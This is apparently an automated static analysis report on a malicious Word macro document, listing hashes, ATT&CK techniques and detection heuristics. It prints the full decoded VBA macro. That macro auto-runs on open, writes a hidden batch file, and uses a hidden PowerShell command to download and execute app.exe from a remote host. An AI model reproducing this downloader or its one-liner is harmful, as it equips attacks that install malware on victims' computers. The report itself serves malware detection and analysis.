Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7b67068ce6054cbd…

MALICIOUS

Office (OLE)

31.0 KB Created: 2018-11-19 23:03:00 Authoring application: Microsoft Office Word First seen: 2018-12-09
MD5: 29d3add145d51ca92b4dae09ff6cfd46 SHA-1: 8e7adcaa5c4105086dc2f9ce22461c5d75d9a506 SHA-256: 7b67068ce6054cbd9ae86720d095cf0430e41a9841c1a49a656efb59dea9aec7
398 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros that execute a batch script. This script, in turn, uses PowerShell to download and execute a second-stage payload from 'http://file.onyxpays.com/app.exe'. The presence of AutoOpen and Workbook_Open macros, along with PowerShell execution, strongly indicates a malicious downloader.

Heuristics 12

  • ClamAV: Doc.Downloader.Powershell-6923200-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powershell-6923200-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        retVal = Shell(s, vbHide)
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        #If Win64 Then
        Print #FileNumber, "powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://file.onyxpays.com/app.exe',$env:Temp+'\UYLWPE.Exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\UYLWPE.Exe')"
        #Else
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
        re6w5rg
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
    Sub Workbook_Open()
        re6w5rg
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://file.onyxpays.com/app.exe In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1627 bytes
SHA-256: bdd102323dff0917316d71acd9474279f3d13b66c61b87dff03180beb94b0bf8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Sub re6w5rg()
If Not Dir("C:\ProgramData\s.bat", vbDirectory) = vbNullString Then
        Application.Quit
Else
    Const s = "C:\ProgramData\s.bat"
    Dim FileNumber As Integer
    Dim retVal As Variant
    FileNumber = FreeFile
    Open s For Output As #FileNumber
    Print #FileNumber, "attrib +h +r +s /s /d C:\ProgramData\s.bat"
    #If Win64 Then
    Print #FileNumber, "powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://file.onyxpays.com/app.exe',$env:Temp+'\UYLWPE.Exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\UYLWPE.Exe')"
    #Else
    Print #FileNumber, "powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://file.onyxpays.com/app.exe',$env:Temp+'\UYLWPE.Exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\UYLWPE.Exe')"
    #End If
    Print #FileNumber, ""
    Print #FileNumber, "attrib +h +r +s /s /d C:\ProgramData\nc.exe"
    Close #FileNumber
     
    retVal = Shell(s, vbHide)
     
    If retVal = 0 Then
        MsgBox "An Error Occured"
        Close #FileNumber
        End
    End If
        Application.Quit
    End If

End Sub
Sub AutoOpen()
    re6w5rg
End Sub
Sub Workbook_Open()
    re6w5rg
End Sub